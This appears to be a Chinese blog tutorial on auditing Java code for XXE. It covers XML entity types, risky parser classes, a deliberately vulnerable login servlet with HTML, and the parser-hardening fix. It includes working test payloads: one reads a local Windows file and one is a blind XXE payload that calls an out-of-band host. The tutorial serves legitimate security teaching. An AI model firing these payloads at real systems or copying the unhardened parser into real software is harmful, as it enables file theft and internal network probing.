Java代码审计-XXE

XXE

XXE漏洞简介

XXE(XML外部实体注入,XML外部实体),在应用程序解析XML输入时,允许引用外部实体时,可构造恶意内容,导致读取任意文件,探测内网端口,攻击内网网站,发起DoS拒绝服务攻击,执行系统命令等.Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,文件,ftp,mailto,jar,netdoc。一般利用文件协议读取文件,利用http协议探测内网,没有回显时可组合利用文件协议和FTP协议来读取文件。

XXE相关基础概念

XML(可扩展标记语言,可扩展标记语言),是一种标记语言,用来传输和存储数据,而非显示数据.DTD
(文档类型定义,文档类型定义)的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体实体
XML中的实体类型,一般有下面几种:字符实体,命名实体(或内部实体),外部普通实体,外部参数实体除外部参数实体外,其它实体都以字符(&)开始,以字符( ;)结束。

1)字符实体
字符实体类似的html中的实体编码,形如:一(十进制)或者一(十六进制)。

2)命名实体(内部实体)
内部实体又称为命名实体命名实体可以说成是变量声明,命名实体只能声明在DTD或者XML文件开始部分(的<!DOCTYPE>语句中)。
命名实体(或内部实体)语法:
<!ENTITY 实体名称 "实体的值">
如:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>

定义一个实体名称x值为First Param!
&X; 引用实体X

3)外部普通实体
外部实体用于加载外部文件的内容(显式XXE攻击主要利用外部普通实体)。
外部普通实体语法:<!ENTITY 实体名称 SYSTEM "URI/URL">

如:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
<!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

4)外部参数实体
参数实体用于DTD和文档的内部子集中与一般实体不同,是以字符(%)开始,以字符。(;)。。结束只有在DTD文件中才能在参数实体声明的时候引用其他实体(盲XXE攻击常利用参数实体进行数据回显)

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 " ">
<!ENTITY % param3 "World">
<!ENTITY dtd SYSTEM "combine.dtd">
%dtd;
]>
<root><foo>&content</foo></root>

combine.dtd中的内容为:

1
<!ENTITY content "%param1;%param2;%param3;">

XXE审计函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………

常用测试POC

POC1-外部普通实体

当有回显时,利用File协议来读取文件

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>

POC2-外部参数实体

无回显时利用http协议来发起请求

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>

XXE漏洞代码示例

Dom读取XML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.servlet;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.*;

@WebServlet("/xxe/doLogin1")
public class LoginServlet1 extends HttpServlet {
private static final long serialVersionUID = 1L;

private static final String USERNAME = "admin";
private static final String PASSWORD = "admin";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

String result="";
try {
//DOM Read XML
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());

String username = getValueByTagName(doc,"username");
String password = getValueByTagName(doc,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}

public static String getValueByTagName(Document doc, String tagName){
if(doc == null || tagName.equals(null)){
return "";
}
NodeList pl = doc.getElementsByTagName(tagName);
if(pl != null && pl.getLength() > 0){
return pl.item(0).getTextContent();
}
return "";
}
}

html参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />

<title>XXE-test</title>

<meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' />
<meta name="viewport" content="width=device-width" />

<link rel="stylesheet" type="text/css" href="css/font.css" />
<link href="css/bootstrap.min.css" rel="stylesheet" />
<link href="css/material-bootstrap-wizard.css" rel="stylesheet" />
</head>

<body>
<div class="image-container set-full-height" style="background-color: #272822;">
<!-- Creative Tim Branding -->
<!-- Big container -->
<div class="container" style="width: 970px;">
<div class="row">
<div class="col-sm-8 col-sm-offset-2">
<!-- Wizard container -->
<div class="wizard-container">
<div class="card wizard-card" data-color="green" id="wizardProfile">
<form>
<div class="wizard-header">
<h3 class="wizard-title"> DOM Read XML </h3>

</div>
<div class="wizard-navigation">
<ul>
<li><a href="#about" data-toggle="tab">tips:</a></li>
<li><a href="javascript:void(0)" ><span style="color:red;" class="msg"></span></a></li>
<li><a href="javascript:void(0)"></a></li>
</ul>
</div>

<div class="tab-content">
<div class="tab-pane" id="about">
<div class="row">
<div class="col-sm-6">
<div class="input-group" style="margin-left: 30%;">
<span class="input-group-addon">
<i class="iconfont icon-icon30" style="font-size:25px;"></i>
</span>
<div class="form-group label-floating">
<label class="control-label">UserName</label>
<input id="username" name="username" style="width: 200%;" type="text" class="form-control">
</div>
</div>
<div class="input-group" style="margin-left: 30%;">
<span class="input-group-addon">
<i class="iconfont icon-mima" style="font-size:25px;"></i>
</span>
<div class="form-group label-floating">
<label class="control-label">Password</label>
<input id="password" name="password" style="width: 200%;" type="password" class="form-control">
</div>
</div>
</div>
</div>
</div>


</div>
<div class="wizard-footer">
<div class="pull-right">
<input type='button' class='btn btn-fill btn-success btn-wd' name='next' value='login' onclick="javascript:doLogin()" />
</div>

<div class="clearfix"></div>
</div>
</form>
</div>
</div> <!-- wizard container -->
</div>
</div><!-- end row -->
</div> <!-- big container -->

<div class="footer">
<div class="container text-center">

</div>
</div>
</div>
</body>
<!-- Core JS Files -->
<script src="js/jquery-2.2.4.min.js" type="text/javascript"></script>
<script src="js/bootstrap.min.js" type="text/javascript"></script>
<script src="js/jquery.bootstrap.js" type="text/javascript"></script>

<!-- Plugin for the Wizard -->
<script src="js/material-bootstrap-wizard.js"></script>

<script src="js/jquery.validate.min.js"></script>
<script type='text/javascript'>
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin1",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!-DOM");
}else if(code == "1"){
$(".msg").text(msg + " login success!-DOM");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</html>

修复方法:

1
2
3
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

完整文章参考JAVA代码审计之XXE与SSRF

参考链接

JavaVul

JAVA代码审计之XXE与SSRF

-------------本文结束感谢您的阅读-------------